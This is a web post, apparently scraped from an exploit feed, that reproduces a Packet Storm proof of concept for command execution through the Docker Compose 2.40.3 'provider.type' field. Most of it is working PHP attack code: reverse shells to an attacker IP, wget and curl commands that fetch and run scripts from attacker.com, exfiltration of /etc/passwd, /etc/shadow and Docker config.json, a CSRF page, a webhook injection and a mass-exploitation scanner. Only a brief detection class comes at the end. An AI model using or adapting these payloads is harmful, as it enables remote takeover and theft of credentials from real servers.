{"id":31172,"date":"2025-12-15T11:42:58","date_gmt":"2025-12-15T11:42:58","guid":{"rendered":"http:\/\/localhost\/?p=31172"},"modified":"2025-12-15T11:42:58","modified_gmt":"2025-12-15T11:42:58","slug":"docker-compose-2403-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31172","title":{"rendered":"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:05&#8243;,&#8221;description&#8221;:&#8221;Docker Compose version 2.40.3 proof of concept provider type PHP command execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Docker Compose 2.40.3 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212819&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Docker Compose v 2.40.3 Provider Type PHP Command Execution                                                                 |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/docs.docker.com\/compose\/releases\/prior-releases\/                                                                    |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212673\/ \\u0026 \\n    \\n    [+] Summary    : Docker Compose Provider Type Command Execution is a critical vulnerability (CVE pending) that allows arbitrary command execution \\n                     on the host system when processing Docker Compose files containing the provider.type field. This vulnerability exists due to Docker \\n    \\t\\t\\t\\t Compose&#8217;s design to execute any specified provider type as a binary or script on the host without proper validation or isolation.\\n    \\n    [+] POC :\\n    \\n    1. Creating malicious files via PHP\\n    \\n    Example: A PHP page generates malicious Docker Compose files\\n    \\n    \\u003c?php\\n    \/\/ exploit-docker-compose.php\\n    if (isset($_GET[&#8216;cmd&#8217;])) {\\n        $cmd = base64_decode($_GET[&#8216;cmd&#8217;]);\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 \u0645\u062d\u062a\u0648\u0649 docker-compose.yml\\n        $composeContent = \\u003c\\u003c\\u003cYAML\\n    services:\\n      exploit:\\n        provider:\\n          type: \/bin\/sh\\n        command: -c \\&#8221;{$cmd}\\&#8221;\\n    YAML;\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0628\u0631\u0648\u0641\u0627\u064a\u062f\u0631 \u0627\u0644\u0645\u0632\u064a\u0641 (\u0644\u0637\u0631\u0642 \u0628\u062f\u064a\u0644\u0629)\\n        $scriptContent = \\&#8221;#!\/bin\/sh\\\\n{$cmd}\\\\n\\&#8221;;\\n        \\n        header(&#8216;Content-Type: text\/plain&#8217;);\\n        echo $composeContent;\\n        exit;\\n    }\\n    \\n    \/\/ \u0623\u0648 \u062d\u0641\u0638 \u0627\u0644\u0645\u0644\u0641 \u0639\u0644\u0649 \u0627\u0644\u062e\u0627\u062f\u0645\\n    if (isset($_POST[&#8216;save_exploit&#8217;])) {\\n        $composeContent = \\u003c\\u003c\\u003cYAML\\n    services:\\n      backdoor:\\n        provider:\\n          type: \/tmp\/exploit.sh\\n    YAML;\\n        \\n        $scriptContent = \\&#8221;#!\/bin\/sh\\\\nbash -i \\u003e\\u0026 \/dev\/tcp\/{$_POST[&#8216;lhost&#8217;]}\/{$_POST[&#8216;lport&#8217;]} 0\\u003e\\u00261 \\u0026\\\\n\\&#8221;;\\n        \\n        file_put_contents(&#8216;\/tmp\/docker-compose.yml&#8217;, $composeContent);\\n        file_put_contents(&#8216;\/tmp\/exploit.sh&#8217;, $scriptContent);\\n        chmod(&#8216;\/tmp\/exploit.sh&#8217;, 0755);\\n        \\n        echo \\&#8221;Files created!\\&#8221;;\\n    }\\n    ?\\u003e\\n    \\n    Exploiting platforms that allow uploading Docker Compose files\\n    \\n    Example: Exploiting a control panel that allows uploading YAML files\\n    \\n    \\u003c?php\\n    \/\/ file-upload-exploit.php\\n    if ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217; \\u0026\\u0026 isset($_FILES[&#8216;dockerfile&#8217;])) {\\n        $uploadDir = &#8216;\/var\/www\/uploads\/&#8217;;\\n        $composeFile = $uploadDir . basename($_FILES[&#8216;dockerfile&#8217;][&#8216;name&#8217;]);\\n        \\n        \/\/ \u062a\u062d\u0642\u0642 \u0628\u0633\u064a\u0637 \u0644\u0644\u0645\u0644\u0641 (\u064a\u0645\u0643\u0646 \u062a\u062c\u0627\u0648\u0632\u0647)\\n        if (move_uploaded_file($_FILES[&#8216;dockerfile&#8217;][&#8216;tmp_name&#8217;], $composeFile)) {\\n            \\n            \/\/ \u0645\u062d\u062a\u0648\u0649 \u0636\u0627\u0631 \u062f\u0627\u062e\u0644 \u0645\u0644\u0641 compose\\n            $maliciousContent = \\u003c\\u003c\\u003cYAML\\n    services:\\n      app:\\n        image: nginx\\n        provider:\\n          type: \/bin\/sh\\n        command: -c \\&#8221;wget http:\/\/attacker.com\/backdoor.sh -O \/tmp\/bd.sh \\u0026\\u0026 chmod +x \/tmp\/bd.sh \\u0026\\u0026 \/tmp\/bd.sh\\&#8221;\\n        \\n      db:\\n        image: mysql\\n        environment:\\n          MYSQL_ROOT_PASSWORD: $(curl http:\/\/attacker.com\/steal.php?data=$(cat \/etc\/passwd|base64))\\n    YAML;\\n            \\n            file_put_contents($composeFile, $maliciousContent);\\n            \\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0634\u063a\u064a\u0644 docker compose (\u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u062a\u0633\u0645\u062d)\\n            if (isset($_POST[&#8216;auto_run&#8217;])) {\\n                $output = shell_exec(\\&#8221;cd $uploadDir \\u0026\\u0026 docker compose up -d 2\\u003e\\u00261\\&#8221;);\\n                echo \\&#8221;\\u003cpre\\u003eOutput: $output\\u003c\/pre\\u003e\\&#8221;;\\n            }\\n        }\\n    }\\n    ?\\u003e\\n    \\n    \\u003cform method=\\&#8221;POST\\&#8221; enctype=\\&#8221;multipart\/form-data\\&#8221;\\u003e\\n        Upload Docker Compose: \\u003cinput type=\\&#8221;file\\&#8221; name=\\&#8221;dockerfile\\&#8221;\\u003e\\n        \\u003cbr\\u003e\\n        Auto-run: \\u003cinput type=\\&#8221;checkbox\\&#8221; name=\\&#8221;auto_run\\&#8221;\\u003e\\n        \\u003cbr\\u003e\\n        \\u003cinput type=\\&#8221;submit\\&#8221; value=\\&#8221;Upload\\&#8221;\\u003e\\n    \\u003c\/form\\u003e\\n    \\n    3. Exploiting API endpoints that interact with Docker\\n    \\n    Example: Injecting commands into an API that manages Docker containers\\n    \\n    \\u003c?php\\n    \/\/ api-exploit.php\\n    \\n    \/\/ \u0645\u062d\u0627\u0643\u0627\u0629 endpoint \u0644\u0640 Docker API\\n    if (isset($_POST[&#8216;compose_config&#8217;])) {\\n        $config = json_decode($_POST[&#8216;compose_config&#8217;], true);\\n        \\n        \/\/ \u0646\u0642\u0637\u0629 \u0627\u0644\u0636\u0639\u0641: \u0639\u062f\u0645 \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 provider.type\\n        $yamlContent = yaml_emit($config);\\n        \\n        \/\/ \u062d\u0641\u0638 \u0627\u0644\u0645\u0644\u0641 \u0627\u0644\u0645\u0624\u0642\u062a\\n        $tempFile = tempnam(&#8216;\/tmp&#8217;, &#8216;docker_&#8217;);\\n        file_put_contents($tempFile, $yamlContent);\\n        \\n        \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631 (\u0645\u0639 \u0635\u0644\u0627\u062d\u064a\u0627\u062a)\\n        $output = shell_exec(\\&#8221;docker compose -f $tempFile up 2\\u003e\\u00261\\&#8221;);\\n        \\n        \/\/ \u062a\u0646\u0638\u064a\u0641 (\u0642\u062f \u0644\u0627 \u064a\u0646\u0641\u0630 \u0625\u0630\u0627 \u0641\u0634\u0644 \u0627\u0644\u0623\u0645\u0631)\\n        unlink($tempFile);\\n        \\n        echo json_encode([&#8216;output&#8217; =\\u003e $output]);\\n        exit;\\n    }\\n    \\n    \/\/ payload \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n    $payload = [\\n        &#8216;services&#8217; =\\u003e [\\n            &#8216;malicious&#8217; =\\u003e [\\n                &#8216;provider&#8217; =\\u003e [\\n                    &#8216;type&#8217; =\\u003e &#8216;\/bin\/sh&#8217;\\n                ],\\n                &#8216;command&#8217; =\\u003e &#8216;-c \\&#8221;echo pwned \\u003e \/tmp\/hacked \\u0026\\u0026 cat \/etc\/shadow | base64 \\u003e \/tmp\/stolen\\&#8221;&#8216;\\n            ]\\n        ]\\n    ];\\n    \\n    \/\/ \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0647\u062c\u0648\u0645\\n    $ch = curl_init(&#8216;http:\/\/target.com\/api\/docker\/deploy&#8217;);\\n    curl_setopt($ch, CURLOPT_POST, true);\\n    curl_setopt($ch, CURLOPT_POSTFIELDS, [\\n        &#8216;compose_config&#8217; =\\u003e json_encode($payload)\\n    ]);\\n    $response = curl_exec($ch);\\n    curl_close($ch);\\n    \\n    echo \\&#8221;Attack sent!\\&#8221;;\\n    ?\\u003e\\n    \\n    4. CSRF + Docker Compose Exploit\\n    \\n    Example: Exploiting CSRF in the Docker Administrator Interface\\n    \\n    \\u003c?php\\n    \/\/ csrf-exploit.html (\u064a\u062a\u0645 \u0631\u0641\u0639\u0647 \u0639\u0644\u0649 \u062e\u0627\u062f\u0645 \u0627\u0644\u0645\u0647\u0627\u062c\u0645)\\n    ?\\u003e\\n    \\u003chtml\\u003e\\n    \\u003cbody\\u003e\\n    \\u003cscript\\u003e\\n    \/\/ CSRF \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 Docker Compose\\n    fetch(&#8216;http:\/\/victim.com\/docker\/deploy&#8217;, {\\n        method: &#8216;POST&#8217;,\\n        headers: {\\n            &#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,\\n        },\\n        body: JSON.stringify({\\n            name: &#8216;innocent-app&#8217;,\\n            compose: `services:\\n      innocent:\\n        image: nginx\\n        provider:\\n          type: \/bin\/bash\\n        command: -c \\&#8221;curl http:\/\/attacker.com\/steal.sh | bash\\&#8221;\\n        \\n      backup:\\n        image: busybox\\n        command: sh -c \\&#8221;cat \/var\/lib\/docker\/config.json | base64 | curl -X POST -d @- http:\/\/attacker.com\/log\\&#8221;`\\n        })\\n    });\\n    \\u003c\/script\\u003e\\n    \\u003cimg src=\\&#8221;http:\/\/victim.com\/docker\/deploy?action=up\\u0026file=http:\/\/attacker.com\/malicious-compose.yml\\&#8221; onload=\\&#8221;alert(&#8216;Exploited&#8217;)\\&#8221;\\u003e\\n    \\u003c\/body\\u003e\\n    \\u003c\/html\\u003e\\n    \\n    5. Mass Exploitation Scanner\\n    \\n    A scanner for searching for servers vulnerable to the exploit.\\n    \\n    \\u003c?php\\n    \/\/ docker-scanner.php\\n    class DockerComposeScanner {\\n        private $targets = [];\\n        \\n        public function addTarget($url) {\\n            $this-\\u003etargets[] = $url;\\n        }\\n        \\n        public function scan() {\\n            foreach ($this-\\u003etargets as $target) {\\n                $this-\\u003etestVulnerability($target);\\n            }\\n        }\\n        \\n        private function testVulnerability($url) {\\n            \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 1: \u0631\u0641\u0639 \u0645\u0644\u0641 \u0645\u0628\u0627\u0634\u0631\\n            $testCompose = tempnam(sys_get_temp_dir(), &#8216;test_&#8217;);\\n            $maliciousContent = \\u003c\\u003c\\u003cYAML\\n    services:\\n      test:\\n        provider:\\n          type: \/bin\/echo\\n        command: VULNERABLE\\n    YAML;\\n            \\n            file_put_contents($testCompose, $maliciousContent);\\n            \\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0631\u0641\u0639 \u0625\u0644\u0649 \u0627\u0644\u0647\u062f\u0641\\n            $ch = curl_init($url . &#8216;\/upload&#8217;);\\n            curl_setopt($ch, CURLOPT_POST, true);\\n            curl_setopt($ch, CURLOPT_POSTFIELDS, [\\n                &#8216;file&#8217; =\\u003e new CURLFile($testCompose, &#8216;text\/yaml&#8217;, &#8216;docker-compose.yml&#8217;)\\n            ]);\\n            $response = curl_exec($ch);\\n            \\n            if (strpos($response, &#8216;VULNERABLE&#8217;) !== false) {\\n                $this-\\u003elog(\\&#8221;VULNERABLE: $url\\&#8221;);\\n                $this-\\u003eexploit($url);\\n            }\\n            \\n            unlink($testCompose);\\n        }\\n        \\n        private function exploit($url) {\\n            \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0643\u0627\u0645\u0644\\n            $reverseShell = base64_encode(&#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/ATTACKER_IP\/4444 0\\u003e\\u00261&#8217;);\\n            \\n            $payload = [\\n                &#8216;compose&#8217; =\\u003e \\u003c\\u003c\\u003cYAML\\n    services:\\n      exploit:\\n        provider:\\n          type: \/bin\/bash\\n        command: -c \\&#8221;echo $reverseShell | base64 -d | bash\\&#8221;\\n    YAML\\n            ];\\n            \\n            \/\/ \u0625\u0631\u0633\u0627\u0644 Payload\\n            $ch = curl_init($url . &#8216;\/api\/deploy&#8217;);\\n            curl_setopt($ch, CURLOPT_POST, true);\\n            curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Content-Type: application\/json&#8217;]);\\n            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));\\n            curl_exec($ch);\\n        }\\n        \\n        private function log($message) {\\n            file_put_contents(&#8216;scan.log&#8217;, date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221; &#8211; $message\\\\n\\&#8221;, FILE_APPEND);\\n            echo \\&#8221;$message\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645\\n    $scanner = new DockerComposeScanner();\\n    $scanner-\\u003eaddTarget(&#8216;http:\/\/target1.com&#8217;);\\n    $scanner-\\u003eaddTarget(&#8216;http:\/\/target2.com&#8217;);\\n    $scanner-\\u003escan();\\n    ?\\u003e\\n    \\n    6. Webhook Exploitation\\n    \\n    Exploiting webhooks that launch Docker Compose\\n    \\n    \\u003c?php\\n    \/\/ webhook-exploit.php\\n    \/\/ \u0645\u0639\u0627\u0644\u062c\u0629 webhook \u0645\u0646 GitHub\/GitLab\/etc\\n    \\n    $payload = json_decode(file_get_contents(&#8216;php:\/\/input&#8217;), true);\\n    \\n    if (isset($payload[&#8216;ref&#8217;])) {\\n        \/\/ \u0645\u062d\u0627\u0643\u0627\u0629 \u0633\u0643\u0631\u0628\u062a \u0627\u0644\u0646\u0634\u0631\\n        $repoUrl = $payload[&#8216;repository&#8217;][&#8216;clone_url&#8217;];\\n        \\n        \/\/ \u0627\u0633\u062a\u0646\u0633\u0627\u062e \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 (\u0642\u062f \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u0644\u0641\u0627\u062a \u0636\u0627\u0631\u0629)\\n        $cloneDir = &#8216;\/tmp\/repo_&#8217; . uniqid();\\n        shell_exec(\\&#8221;git clone $repoUrl $cloneDir\\&#8221;);\\n        \\n        \/\/ \u062a\u0634\u063a\u064a\u0644 docker compose \u0625\u0630\u0627 \u0648\u062c\u062f\\n        if (file_exists(\\&#8221;$cloneDir\/docker-compose.yml\\&#8221;)) {\\n            \/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0636\u0627\u0631\\n            shell_exec(\\&#8221;cd $cloneDir \\u0026\\u0026 docker compose up -d\\&#8221;);\\n            \\n            \/\/ \u062a\u0646\u0638\u064a\u0641 (\u0642\u062f \u064a\u0641\u0634\u0644 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0647\u0646\u0627\u0643 \u0639\u0645\u0644\u064a\u0629 \u062e\u0644\u0641\u064a\u0629)\\n            shell_exec(\\&#8221;rm -rf $cloneDir\\&#8221;);\\n        }\\n        \\n        \/\/ \u0623\u0648 \u062d\u0642\u0646 \u0645\u0644\u0641 \u0636\u0627\u0631\\n        $injectedCompose = \\u003c\\u003c\\u003cYAML\\n    services:\\n      web:\\n        image: nginx\\n        provider:\\n          type: \/bin\/sh\\n        command: -c \\&#8221;curl http:\/\/attacker.com\/c2.php?host=$(hostname) | bash\\&#8221;\\n    YAML;\\n        \\n        file_put_contents(\\&#8221;$cloneDir\/docker-compose.yml\\&#8221;, $injectedCompose);\\n        shell_exec(\\&#8221;cd $cloneDir \\u0026\\u0026 docker compose up\\&#8221;);\\n    }\\n    ?\\u003e\\n    \\n    Attack detection\\n    PHP detection system:\\n    \\n    \\u003c?php\\n    \/\/ intrusion-detection.php\\n    class DockerIntrusionDetection {\\n        public static function monitor() {\\n            $logs = [\\n                &#8216;\/var\/log\/docker.log&#8217;,\\n                &#8216;\/var\/log\/syslog&#8217;,\\n                &#8216;\/var\/log\/auth.log&#8217;\\n            ];\\n            \\n            $patterns = [\\n                &#8216;\/provider\\\\.type.*(\\\\\/bin\\\\\/|\\\\\/tmp\\\\\/|\\\\\/dev\\\\\/)\/&#8217;,\\n                &#8216;\/docker compose.*(curl|wget|bash|sh).*(attacker|exploit)\/i&#8217;,\\n                &#8216;\/execution.*(compose|docker).*(provider|type)\/i&#8217;\\n            ];\\n            \\n            foreach ($logs as $log) {\\n                if (file_exists($log)) {\\n                    $content = file_get_contents($log);\\n                    foreach ($patterns as $pattern) {\\n                        if (preg_match($pattern, $content)) {\\n                            self::alert($pattern, $log);\\n                        }\\n                    }\\n                }\\n            }\\n        }\\n        \\n        private static function alert($pattern, $log) {\\n            $message = \\&#8221;DOCKER EXPLOIT DETECTED!\\\\n\\&#8221;;\\n            $message .= \\&#8221;Pattern: $pattern\\\\n\\&#8221;;\\n            $message .= \\&#8221;Log file: $log\\\\n\\&#8221;;\\n            $message .= \\&#8221;Time: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            \/\/ \u0625\u0631\u0633\u0627\u0644 \u062a\u0646\u0628\u064a\u0647\\n            mail(&#8216;admin@example.com&#8217;, &#8216;Security Alert &#8211; Docker Exploit&#8217;, $message);\\n            syslog(LOG_ALERT, $message);\\n        }\\n    }\\n    \\n    \/\/ \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629\\n    DockerIntrusionDetection::monitor();\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212819&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212819\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:05&#8243;,&#8221;description&#8221;:&#8221;Docker Compose version 2.40.3 proof of concept provider type PHP command execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Docker Compose 2.40.3 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212819&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : Docker Compose v&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-31172","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31172\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-15T16:53:05&#8243;,&#8221;description&#8221;:&#8221;Docker Compose version 2.40.3 proof of concept provider type PHP command execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-15T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Docker Compose 2.40.3 Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212819&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : Docker Compose v...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31172\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-15T11:42:58+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819\",\"datePublished\":\"2025-12-15T11:42:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172\"},\"wordCount\":1669,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31172#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172\",\"name\":\"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-15T11:42:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31172\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31172#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Docker Compose 2.40.3 Command Execution_PACKETSTORM:212819\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 